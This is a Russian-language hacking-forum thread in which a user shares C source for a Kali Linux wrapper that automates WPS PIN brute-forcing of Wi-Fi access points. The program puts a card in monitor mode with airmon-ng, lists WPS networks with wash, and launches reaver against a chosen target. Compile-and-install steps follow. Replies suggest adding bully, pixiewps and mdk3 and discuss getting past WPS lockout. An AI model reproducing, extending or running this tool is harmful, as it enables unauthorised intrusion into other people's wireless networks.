Небольшое дополнение Kali Linux

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by Fanavana, 12 Nov 2015.

  1. Fanavana

    Fanavana Member

    Joined:
    10 Nov 2015
    Messages:
    28
    Likes Received:
    22
    Reputations:
    1
    Представляю на ваш суд небольшое, написанное на скорую руку дополнение к Kali linux. По сути оно всего лишь упрощает процедуру брута WPS и было написано для тех, кому сложно (лень) разобраться в этом. Вот исходник
    Code:
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int choose;
    int n;
    int x = -2;
    char mac [17];
    char massiv [22];
    char massiv2 [22] = "airmon-ng start mon0 ";
    char stroka [100];
    FILE *out;
    FILE *out2;
    FILE *out3;
    FILE *out4;
    
    int main()
    {
    out = fopen ("iwconfig.txt", "w");
    fprintf (out, "%s", "airmon-ng start ");
    fclose (out);
    out = fopen ("iwconfig.txt", "a");
    system ("iwconfig » iwconfig.txt");
    fclose (out);
    system ("clear");
    out = fopen ("iwconfig.txt", "r");
    fgets (massiv, 22, out);
    fclose (out);
    out2 = fopen ("out2.sh", "w");
    fprintf (out2, "%s\n", massiv);
    fclose (out2);
    if (strcmp (massiv, massiv2) == 0)
    {
    goto wash;
    } else
    {
    system ("sh out2.sh");
    system ("clear");
    wash:
    printf ("%s", "\tScanning WPS-enable networks. Press ctrl + c to stop.\n");
    sleep (1);
    system ("wash -i mon0 | tee wash.txt");
    reaver ();
    if (n == 0)
    {
    goto rem;
    }else{
    goto brut;
    }
    brut:
    system ("sh out3.sh");
    rem:
    printf ("%s", "\t\t***Target is not choosed***\n");
    sleep (2);
    system ("clear");
    printf ("%s\n", "Removing temporary files.");
    remove ("iwconfig.txt");
    sleep (1);
    system ("clear");
    printf ("%s\n", "Removing temporary files..");
    remove ("wash.txt");
    sleep (1);
    system ("clear");
    printf ("%s\n", "Removing temporary files...");
    remove ("out2.sh");
    sleep (1);
    system ("clear");
    printf ("%s\n", "Removing temporary files....");
    remove ("out3.sh");
    system ("clear");
    printf ("%s\n", "Removing mon0");
    sleep (1);
    system ("airmon-ng stop mon0");
    putchar ('\a');
    system ("clear");
    printf ("%s\n", "Good bye =)");
    return 0;
    }
    }
    
    int reaver()
    {
    printf ("%s", "Choose network nmber (Or choose 0 (ZERO) to stop.)\n");
    scanf ("%d", &n);
    out4 = fopen ("wash.txt", "r");
    for (x; x <= n; x++)
    {
    fgets (stroka, 100, out4);
    }
    char * mac = strtok (stroka, " ");
    fclose (out4);
    out3 = fopen ("out3.sh", "w");
    fprintf (out3, "%s %s %s", "reaver -i mon0 -b", mac, "-v -S");
    fclose (out3);
    return 0;
    }
    
    P.S. если кто не в курсе как воспользоваться сим чудом:
    1. создаете текстовый файл, туда копируете исходный код, называете файл, например, main.c
    2. запускаете терминал
    3. в терминале пишите cd /директория_где_лежит_ваш_файл_main.c
    4. gcc -o abrakadabra main.c
    5. копируете бинарник abrakadabra в /usr/bin
    6. просто набираете в терминале abrakadabra
    Пожелания, предложения, критика приветствуются.
     
    110m, user100, Sitronik and 2 others like this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Перед этим надо добавить "if(1 == 1 && 2 == 2 && 3 == 3)"
     
    user100 likes this.
  3. Fanavana

    Fanavana Member

    Joined:
    10 Nov 2015
    Messages:
    28
    Likes Received:
    22
    Reputations:
    1
    Не совсем понимаю для чего??? Единица всегда равна единице как, впрочем, и 2 и 3.
     
  4. ZombieXLX

    ZombieXLX Member

    Joined:
    3 Oct 2015
    Messages:
    40
    Likes Received:
    15
    Reputations:
    0
    в /bin/bash не проще было написать?
     
  5. Fanavana

    Fanavana Member

    Joined:
    10 Nov 2015
    Messages:
    28
    Likes Received:
    22
    Reputations:
    1
    Было написано в процессе изучения C/C++ забавы ради.
     
    Kakoluk, Sitronik and binarymaster like this.
  6. AlexHawk

    AlexHawk Active Member

    Joined:
    24 Sep 2012
    Messages:
    89
    Likes Received:
    172
    Reputations:
    0
    Не впечатлило...
     
  7. rooker

    rooker New Member

    Joined:
    14 Dec 2017
    Messages:
    57
    Likes Received:
    2
    Reputations:
    0
    Неплохо было бы добавить сюда за стиль буду для скорости писать в псевдокоде
    case
    { ривер не работает // ривер наверное лучше было бы заменить кляксой а также добавить в код pixiedust, pixiewps, ethercap и т.д.
    case гоняет онин и тот же пин тогда {запуск bully
    {bully работает как надо находит пин
    bully не работает запуск {запуск mdk3
    {bully заработало case{ пин получен;
    bully сканирует один и тот же пин ; } //переход к другим видам атак начиная от простейших и заканчивая самыми сложнымискрипты и т.д.....

    }}}}
    // Неплохо бы было так пройтись по всему Kali linux для получения пароля
    // В ривер также добавить пустой пин и т.д.
     
  8. СЕРЖ32

    СЕРЖ32 Active Member

    Joined:
    1 Sep 2013
    Messages:
    1,761
    Likes Received:
    101
    Reputations:
    0
    та.....а если wps локе?)))сейчас просто пркатически все точки в лок уходят,сейчас нужно что то эдакое,что обходит лок wps.т.е перебирает пины с залоченым wps,вот это супер скрипт бы был,цены не было бы))
     
  9. rooker

    rooker New Member

    Joined:
    14 Dec 2017
    Messages:
    57
    Likes Received:
    2
    Reputations:
    0
    Wps lock надо тоже учесть поэтому сначала использовать те виды атак которые не дают wps lock, а потом все остальные кстати - может я не прав, в в андройд если перебирать wps - wps lock или ограничение числа попыток перебора отсутствует.